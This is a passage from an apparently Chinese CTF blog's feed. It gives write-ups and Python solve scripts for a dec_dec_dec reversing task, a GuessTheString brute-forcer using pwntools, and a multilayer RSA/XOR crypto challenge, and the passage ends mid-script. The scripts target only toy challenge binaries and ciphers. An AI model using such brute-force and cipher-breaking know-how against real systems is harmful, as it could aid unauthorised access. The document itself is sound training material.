脚本</h2><blockquote><p>由于第二轮密文的长度为32，不是3的倍数，在最后一次三个字符加密成四个字符时密文的第四个字符由于找不到明文的第三个字符，默认为32，即空格，，这也是为什么密文的最后一位是空格，并且爆破时最后一次无结果。根据flag格式就直接猜出是’}‘，不用过于纠结。</p></blockquote><p>第三轮的爆破我分别用z3和直接三重循环跑了一下，发现用z3只需0.3s，暴力循环要1.36s。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line">import base64</span><br><span class="line">from string import printable</span><br><span class="line">from z3 import *</span><br><span class="line"></span><br><span class="line">cipher = &quot;25-Q44E233=,&gt;E-M34=,,$LS5VEQ45)M2S-),7-$/3T \x00&quot;</span><br><span class="line">print len(cipher)</span><br><span class="line"></span><br><span class="line">def decode_level1(s):</span><br><span class="line">    if len(s)%4 != 0:</span><br><span class="line">        return base64.b64decode(s[:len(s)-len(s)%4])</span><br><span class="line"></span><br><span class="line">def decode_level2(s):</span><br><span class="line"></span><br><span class="line">    s1 = &apos;&apos;</span><br><span class="line">    for i in s:</span><br><span class="line">        j = ord(i)</span><br><span class="line">        for k in range(256):</span><br><span class="line">            l = 0</span><br><span class="line">            if (k &lt;= 0x40 or k &gt; 0x5a):</span><br><span class="line">                if (k &lt;= 0x60 or k &gt; 0x7a):</span><br><span class="line">                    l = k</span><br><span class="line">                else:</span><br><span class="line">                    l = (k-0x54)%26 + 0x61 </span><br><span class="line">            else:</span><br><span class="line">                l = (k-0x34)%26 + 0x41 </span><br><span class="line">            if l == j:</span><br><span class="line">                s1 += chr(k)</span><br><span class="line">                break</span><br><span class="line"></span><br><span class="line">#print len(s),len(s1)</span><br><span class="line">    return s1 </span><br><span class="line"></span><br><span class="line">def decode_level3(cipher):</span><br><span class="line">    </span><br><span class="line">    ss = &quot;&quot;</span><br><span class="line">    </span><br><span class="line">    for i in range(11):</span><br><span class="line">        </span><br><span class="line">        s = Solver()</span><br><span class="line">        a1,a2,a3 = [ BitVec(&apos;a&apos;+str(j),16) for j in range(1,4) ]</span><br><span class="line">        for j in range(1,4):</span><br><span class="line">            s.add( And( eval(&apos;a&apos;+str(j)) &gt; 0, eval(&apos;a&apos;+str(j)) &lt; 256 ) )</span><br><span class="line"></span><br><span class="line">        s.add( (a1&gt;&gt;2) + 32 == ord(cipher[4*i]) )</span><br><span class="line">        s.add( (( ((16*a1)&amp;0x30) + 32 ) | (a2 &gt;&gt; 4)) == ord(cipher[4*i+1]) )</span><br><span class="line">        s.add( ((((4*a2)&amp;0x3c) +32) | (a3 &gt;&gt; 6) ) == ord(cipher[4*i+2]) )</span><br><span class="line">        s.add( (a3&amp;0x3f) +32 == ord(cipher[4*i+3]) )</span><br><span class="line">        </span><br><span class="line">#print s.check()</span><br><span class="line">        if s.check() == sat:</span><br><span class="line"></span><br><span class="line">#print s.model()</span><br><span class="line">            </span><br><span class="line">            ss += chr(s.model()[a1].as_long())</span><br><span class="line">            ss += chr(s.model()[a2].as_long())</span><br><span class="line">            ss += chr(s.model()[a3].as_long())</span><br><span class="line">#print ss</span><br><span class="line"></span><br><span class="line">#print ss </span><br><span class="line">    return ss </span><br><span class="line"></span><br><span class="line">def decode_level30(cipher):</span><br><span class="line"></span><br><span class="line">    ss = &quot;&quot;</span><br><span class="line">    for i in range(11):</span><br><span class="line">        flag = 0</span><br><span class="line">        for a1 in printable:</span><br><span class="line">            for b1 in printable:</span><br><span class="line">                for c1 in printable:</span><br><span class="line">                    a,b,c = ord(a1),ord(b1),ord(c1)</span><br><span class="line">                    if (a&gt;&gt;2) + 32 == ord(cipher[4*i]) and (( ((16*a)&amp;0x30) + 32 ) | (b &gt;&gt; 4)) == ord(cipher[4*i+1]) and ((((4*b)&amp;0x3c) +32) | (c &gt;&gt; 6) ) == ord(cipher[4*i+2]) and (c&amp;0x3f) +32 == ord(cipher[4*i+3]):</span><br><span class="line">                        ss += chr(a)+chr(b)+chr(c)</span><br><span class="line">                        flag = 1</span><br><span class="line">                        break</span><br><span class="line">                if flag:</span><br><span class="line">                  break</span><br><span class="line">            if flag:</span><br><span class="line">                break</span><br><span class="line">    </span><br><span class="line">    print ss</span><br><span class="line">    return ss</span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    </span><br><span class="line">    flag2 = decode_level30(cipher)</span><br><span class="line">#flag2 = decode_level30(cipher)</span><br><span class="line">    flag1 = decode_level2(flag2)</span><br><span class="line">    print flag1</span><br><span class="line">    flag = decode_level1(flag1)</span><br><span class="line"></span><br><span class="line">    print flag</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;最近在搞小学期的项目，没空写wp，这题是上周搞出来的，这里简单记录一下，可能有些细节忘了。。。&lt;/p&gt;
&lt;p&gt;==&amp;gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/TokyoWesterns%20CTF_4th_2018/re_dec_dec_dec&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目地址&lt;/a&gt;&amp;lt;==&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;0x00-简单分析&quot;&gt;&lt;a href=&quot;#0x00-简单分析&quot; class=&quot;headerlink&quot; title=&quot;0x00 简单分析&quot;&gt;&lt;/a&gt;0x00 简单分析&lt;/h2&gt;&lt;p&gt;程序是64位ELF，先拖进IDA看下逻辑。&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>noxCTF_2018-re_GuessTheString-wp</title>
    <link href="https://l1b0.fun/5961/"/>
    <id>https://l1b0.fun/5961/</id>
    <published>2018-09-08T12:31:20.000Z</published>
    <updated>2019-09-23T03:13:36.385Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>==&gt;<a href="https://github.com/L1B0/CTF/tree/master/noxCTF_2018" target="_blank" rel="noopener">题目地址</a>&lt;==</p></blockquote><h2 id="0x00-简单分析"><a href="#0x00-简单分析" class="headerlink" title="0x00 简单分析"></a>0x00 简单分析</h2><p>一道简单re，但是很坑啊。</p><p>用IDA直接看代码，逻辑如下。</p><p><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1fv2dpw6bmjj311p0eun0j.jpg" alt="img"></p><a id="more"></a><h2 id="0x01填坑"><a href="#0x01填坑" class="headerlink" title="0x01填坑"></a>0x01填坑</h2><p>a1的前三位可以直接通过两个等式爆破出可能的结果。</p><p>第四位的check函数如下</p><p><img src="http://wx3.sinaimg.cn/mw690/0060lm7Tly1fv2dsri9okj30vt0afmxr.jpg" alt="img"></p><p>乍一看需要<code>a1[3] &gt; a1[2]</code>且<code>a1[2]*a1[2] == a1[3]*a1[3]</code>，这不扯淡吗。。。后来仔细想想a1[2]和a1[3]都是byte类型，所以实际上只需<code>(a1[2]*a1[2])%256 == (a1[3]*a1[3])%256</code>即可。</p><p>然后第5,6,7位可以直接爆破出确定结果。</p><p>第8位的可能结果有<code>[48,52,56]</code>。</p><p>第9位有一个未知数，我的想法是先通过前面所有函数的check，动态调试看这个未知数的值，发现是12，于是第9位可以通过第8位算出，第10位可以通过第9位算出。</p><p>第10位我一开始拿flag的时候没搞懂HIBYTE怎么用，是直接爆破的，因为前面的10位都差不多确定了，爆破就行。</p><h2 id="0x02-解题脚本"><a href="#0x02-解题脚本" class="headerlink" title="0x02 解题脚本"></a>0x02 解题脚本</h2><p>写wp的时候还是用gdb调了一下，发现HIBYTE对于一个16bit的数取得是高8位。。这样就懂了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line">from pwn import *</span><br><span class="line">context.log_level = &apos;debug&apos;</span><br><span class="line">a0 = [</span><br><span class="line">&apos;%^Jv&apos;,</span><br><span class="line">&apos;/JTl&apos;,</span><br><span class="line">&apos;/JTt&apos;,</span><br><span class="line">&apos;J/Tl&apos;,</span><br><span class="line">&apos;J/Tt&apos;,</span><br><span class="line">&apos;^%Jv&apos;</span><br><span class="line">]</span><br><span class="line">a4 = [</span><br><span class="line">&apos;C=&amp;&apos;</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">def is_Prime(n):</span><br><span class="line">    if n &lt;= 2:</span><br><span class="line">        return 1</span><br><span class="line">    for i in range(2,n):</span><br><span class="line">        if n%i == 0:</span><br><span class="line">            return 0</span><br><span class="line">    return 1</span><br><span class="line"></span><br><span class="line">     </span><br><span class="line">def get_0123():</span><br><span class="line"></span><br><span class="line">    for i in range(33,127):</span><br><span class="line">        for j in range(33,127):</span><br><span class="line">            for k in range(33,127):</span><br><span class="line">                if not(i*j == 3478 and (j^i)^k == 49):</span><br><span class="line">                    continue</span><br><span class="line">                else:</span><br><span class="line">                    for l in range(k+1,127):</span><br><span class="line">                        if (l**2)%256 == (k**2)%256:</span><br><span class="line">                            s = chr(i)+chr(j)+chr(k)+chr(l)</span><br><span class="line">                            print s</span><br><span class="line"></span><br><span class="line">def get_456():</span><br><span class="line">    for i in range(33,127):</span><br><span class="line">        for j in range(33,127):</span><br><span class="line">            if (j-42) &gt; 0 and is_Prime(i) and is_Prime(j) and is_Prime(j-42) and i^j == 126:</span><br><span class="line">                s = chr(i)+chr(j)+chr(2*(j-42))</span><br><span class="line">                print s</span><br><span class="line"></span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    </span><br><span class="line">#get_0123()</span><br><span class="line">#get_456()</span><br><span class="line">    for i in a0:</span><br><span class="line">        for j in a4:</span><br><span class="line">            for k in [48,52,56]:</span><br><span class="line">                a7 = k</span><br><span class="line">                #*(_BYTE *)(a3 + 8) == (a1 ^ *(_BYTE *)(a3 + 7)); a1 = 0x12 by debug</span><br><span class="line">                a8 = a7^0x12 </span><br><span class="line">                a9 = 2*a8</span><br><span class="line">                a100 =  (a9+1)*(a9)/2 </span><br><span class="line">                #burte a10</span><br><span class="line">                for l in range(33,127):</span><br><span class="line">                    s = i+j+chr(a7)+chr(a8)+chr(a9)+chr(l)</span><br><span class="line">                    print s</span><br><span class="line">                </span><br><span class="line">                    io = process(&apos;./GuessTheString&apos;)</span><br><span class="line">                    io.recvline()</span><br><span class="line">                    io.sendline(s)</span><br><span class="line">                    io.recvline()</span><br><span class="line">                    io.close()</span><br></pre></td></tr></table></figure><h2 id="0x03-Reference"><a href="#0x03-Reference" class="headerlink" title="0x03 Reference"></a>0x03 Reference</h2><ul><li>对LOWORD, HIWORD, LOBYTE, HIBYTE的理解： <a href="https://blog.csdn.net/huang_xw/article/details/8738610" target="_blank" rel="noopener">https://blog.csdn.net/huang_xw/article/details/8738610</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;==&amp;gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/noxCTF_2018&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目地址&lt;/a&gt;&amp;lt;==&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;0x00-简单分析&quot;&gt;&lt;a href=&quot;#0x00-简单分析&quot; class=&quot;headerlink&quot; title=&quot;0x00 简单分析&quot;&gt;&lt;/a&gt;0x00 简单分析&lt;/h2&gt;&lt;p&gt;一道简单re，但是很坑啊。&lt;/p&gt;
&lt;p&gt;用IDA直接看代码，逻辑如下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://wx4.sinaimg.cn/mw690/0060lm7Tly1fv2dpw6bmjj311p0eun0j.jpg&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>hackme-inndy-crypto-mutilayer</title>
    <link href="https://l1b0.fun/39859/"/>
    <id>https://l1b0.fun/39859/</id>
    <published>2018-08-19T12:29:49.000Z</published>
    <updated>2019-11-23T06:05:25.615Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>Points: 150</p><p>Solves: 6</p></blockquote><p>一道多重加密的crypto，很好玩。</p><a id="more"></a><h3 id="题目源码如下"><a href="#题目源码如下" class="headerlink" title="题目源码如下"></a>题目源码如下</h3><p>为了能在本地跑起来我做了一点改动</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line">import base64</span><br><span class="line">import binascii</span><br><span class="line">import collections</span><br><span class="line">import hashlib</span><br><span class="line">import os</span><br><span class="line">import random</span><br><span class="line">import string</span><br><span class="line"></span><br><span class="line">from Crypto.Util import number</span><br><span class="line"></span><br><span class="line">p = number.getPrime(1024)</span><br><span class="line">q = number.getPrime(1024)</span><br><span class="line">n = p * q</span><br><span class="line">e = number.getPrime(24)</span><br><span class="line">print(&apos;RSA(n=0x%x, e=0x%x)&apos; % (n, e))</span><br><span class="line"></span><br><span class="line">def rsa_encrypt(x):</span><br><span class="line">    v = number.bytes_to_long(x)</span><br><span class="line">    return pow(v, e, n)</span><br><span class="line"></span><br><span class="line">def xor(a, b):</span><br><span class="line">    return bytes(i ^ j for i, j in zip(a, b))</span><br><span class="line"></span><br><span class="line">flag = open(&apos;flag&apos;, &apos;rb&apos;).read()</span><br><span class="line"></span><br><span class="line">assert flag.startswith(b&apos;FLAG&#123;&apos;) and flag.endswith(b&apos;&#125;\n&apos;)</span><br><span class="line">print(hashlib.sha256(flag).hexdigest())</span><br><span class="line"></span><br><span class="line">def layer1(data):</span><br><span class="line">    data = data.decode(&apos;ascii&apos;)</span><br><span class="line"></span><br><span class="line">    s = string.ascii_uppercase</span><br><span class="line">    t = list(s)</span><br><span class="line">    random.shuffle(t)</span><br><span class="line">    t = &apos;&apos;.join(t)</span><br><span class="line"></span><br><span class="line">    print(collections.Counter(data))</span><br><span class="line"></span><br><span class="line">    return data.translate(str.maketrans(s, t))</span><br><span class="line"></span><br><span class="line">def layer2(data):</span><br><span class="line">    return bytes([ord(b) * 17 % 251 for b in data])</span><br><span class="line"></span><br><span class="line">def layer3(data):</span><br><span class="line">    output = []</span><br><span class="line">    key = number.bytes_to_long(os.urandom(128))</span><br><span class="line"></span><br><span class="line">    for i in data:</span><br><span class="line">        key = (key * 0xc8763 + 9487) % 0x10000000000000000</span><br><span class="line">        output.append((i ^ key) &amp; 0xff)</span><br><span class="line">    </span><br><span class="line">    return bytes(output)</span><br><span class="line"></span><br><span class="line">def layer4(data):</span><br><span class="line">    iv = os.urandom(256)</span><br><span class="line">    output = iv</span><br><span class="line"></span><br><span class="line">    hexencoded = binascii.hexlify(data)</span><br><span class="line">    length_target = (len(hexencoded) + 3) // 4</span><br><span class="line">    padded = hexencoded.ljust(length_target * 4, b&apos;f&apos;)</span><br><span class="line"></span><br><span class="line">    for i in range(0, len(padded), 4):</span><br><span class="line">        r = rsa_encrypt(padded[i:i+4])</span><br><span class="line">        block = binascii.unhexlify(&apos;%.512x&apos; % r)</span><br><span class="line">        output += xor(output[-256:], block)</span><br><span class="line"></span><br><span class="line">    return base64.b64encode(output)</span><br><span class="line"></span><br><span class="line">flag = layer1(flag) #tihuan</span><br><span class="line">print(&quot;layer1 -&gt; &#123;&#125;&quot;.format(flag))</span><br><span class="line">flag = layer2(flag)</span><br><span class="line">print(&quot;layer2 -&gt; &#123;&#125;&quot;.format(flag))</span><br><span class="line"></span><br><span class="line">flag = layer3(flag)</span><br><span class="line">print(&quot;layer3 -&gt; &#123;&#125;&quot;.format(flag))</span><br><span class="line"></span><br><span class="line">flag = layer4(flag)</span><br><span class="line">print(&quot;layer4 -&gt; &#123;&#125;&quot;.format(flag))</span><br><span class="line"></span><br><span class="line">print(flag.decode(&apos;ascii&apos;))</span><br></pre></td></tr></table></figure><h3 id="layer4"><a href="#layer4" class="headerlink" title="layer4"></a>layer4</h3><p>这个函数的流程大致是先生成一个长度为256的随机字符串<code>output</code>，<code>padded</code>就是<code>layer3</code>生成的密文。</p><p>循环的功能是将<code>padded</code>的每四个字符进行rsa加密得到<code>block</code>，再将<code>output</code>的后256位字符与<code>block</code>进行异或，并将结果接在<code>output</code>后面。</p><p>我们可以在<code>encrypted</code>文件中得到最终output的base64编码，将其解码之后每256位分成一组，可以得到<strong>41</strong>组长度为256的字符串。按逆向的思想，以第二组为例，它是循环中第一次rsa加密的密文<code>block</code>和初始<code>output</code>进行异或的结果，由于异或的特性，我们把第二组和第一组再进行异或便可以得到第一次rsa加密的密文<code>block</code>。以此类推，最终我们可以得到全部rsa加密的密文。</p><p>接下来就是如何解密这个rsa，从文件<code>encrypted</code>中我们可以得到<code>n</code>和<code>e</code>，但由于<code>n</code>很大，无法分解，所以无法正向解出。仔细分析可以知道，每次rsa加密的明文长度为4，并且均是16进制的串，例如<code>&quot;ffff&quot;</code>，范围不大，直接爆破即可。</p><h3 id="layer3"><a href="#layer3" class="headerlink" title="layer3"></a>layer3</h3><p>这个函数一开始看的时候恐怖的一批，一个长度为128的字符串转为十进制数后当做<code>key</code>来与明文<code>data</code>异或。。。</p><p>但后来仔细想想，不管<code>key</code>多大，和<code>i</code>异或之后都要模上0xff，那<code>key</code>不就相当于是在<code>0-256</code>之间吗。其实质是因为异或的过程中只有key的低八位在进行运算，其高位和0异或不变，之后模0xff就相当于其高位根本没起作用。</p><p>下面这张图验证了我的想法</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fufa7wwo3jj30qz0j5jtk.jpg" alt="img"></p><p>那么key的范围确定在<code>0-256</code>之间了，怎样才算正确的key呢？接着往layer2看</p><h3 id="layer2"><a href="#layer2" class="headerlink" title="layer2"></a>layer2</h3><p>这个函数的加密也很有意思，源码如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">def layer2(data):</span><br><span class="line">    return bytes([ord(b) * 17 % 251 for b in data])</span><br></pre></td></tr></table></figure><p>解决方法如下</p><blockquote><p>n = 251</p><p>e = 17</p><p>d = invert(e,n) = 192</p><p>cipher = plaintext * e (mod n)</p><p>plaintext = cipher * d(mod n)</p></blockquote><p>原理(反证法 by唐老板)</p><blockquote><p>证：m = c*d (mod n)</p><p>由于c = m * e (mod n)</p><p>==&gt; m = { (plain <em>e) mod n }</em> d mod n</p><p>==&gt; m = m<em>e</em>d mod n</p><p>由于d*e ≡ 1(mod n)</p><p>故m = c*d (mod n) 得证</p></blockquote><p>举个例子</p><p><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1fufb5d6xi6j30co0aj748.jpg" alt="img"></p><p>那么layer3和layer2都有解决办法了，直接一起解得到layer1的密文，通过观察结果是否均为<strong>可见字符</strong>判断layer3的key是否正确。</p><h3 id="layer1"><a href="#layer1" class="headerlink" title="layer1"></a>layer1</h3><p>替换加密，直接<a href="https://quipqiup.com/" target="_blank" rel="noopener">在线网站</a>解一波</p><h3 id="exp如下"><a href="#exp如下" class="headerlink" title="exp如下"></a>exp如下</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line">#https://quipqiup.com/</span><br><span class="line"></span><br><span class="line">import base64</span><br><span class="line">import binascii</span><br><span class="line">import collections</span><br><span class="line">import hashlib</span><br><span class="line">import os</span><br><span class="line">import random</span><br><span class="line">import string</span><br><span class="line">import re</span><br><span class="line">from libnum import s2n,n2s</span><br><span class="line">import gmpy2</span><br><span class="line">from Crypto.Util import number</span><br><span class="line"></span><br><span class="line">cipher = open(&apos;encrypted&apos;,&apos;rb&apos;).read()</span><br><span class="line">n=0x80dd2dec6684d43bd8f2115c88717386b2053bdb554a12d52840380af48088b7f1f71c3d3840ef4615af318bbe261d2d2d90616c0d2dcb6414e05c706f2b6d700ed98128048a2b79f57d2c6476add369ec96fb0fed936506d9aee4da5d36aaa97f117b082924c0638923e4367f250cc6cd23918702d98c5359bbb6bad2bef741c65362ad40355fd2edb35248256413d0ee576e7a351f17b9a5a3a7eebbbb2b22f27c342ef6dcaf1396085a105cf5e8b9bbf80e002053347fd9db6e83dc63599b1e1e5a81f7f2e4e2473bc2d14d040c9c6e6f62b9027853c7550a10df49c3a786962c9e9d5b95551a95077d0bd354b88ef31c5625e21edf98f721504f73e1b867</span><br><span class="line">e=0xcf98d5</span><br><span class="line"></span><br><span class="line">flag_counter = &#123;&apos; &apos;: 14, &apos;O&apos;: 6, &apos;A&apos;: 5, &apos;U&apos;: 4, &apos;I&apos;: 4, &apos;T&apos;: 4, &apos;N&apos;: 3, &apos;D&apos;: 3, &apos;E&apos;: 3, &apos;L&apos;: 3, &apos;H&apos;: 3, &apos;Y&apos;: 3, &apos;R&apos;: 3, &apos;G&apos;: 2, &apos;C&apos;: 2, &apos;F&apos;: 2, &apos;W&apos;: 2, &apos;.&apos;: 1, &apos;&#125;&apos;: 1, &apos;B&apos;: 1, &apos;V&apos;: 1, &apos;Q&apos;: 1, &apos;P&apos;: 1, &apos;X&apos;: 1, &apos;M&apos;: 1, &apos;\n&apos;: 1, &apos;&#123;&apos;: 1, &apos;K&apos;: 1, &apos;J&apos;: 1, &apos;S&apos;: 1, &apos;Z&apos;: 1&#125;</span><br><span class="line"></span><br><span class="line">flag = &quot;FLAG&#123;&quot;</span><br><span class="line"></span><br><span class="line">def xor(a, b):</span><br><span class="line">    return s2n(&apos;&apos;.join([chr(ord(i) ^ ord(j)) for i, j in zip(a, b)]))</span><br><span class="line"></span><br><span class="line">def rsa_encrypt(m):</span><br><span 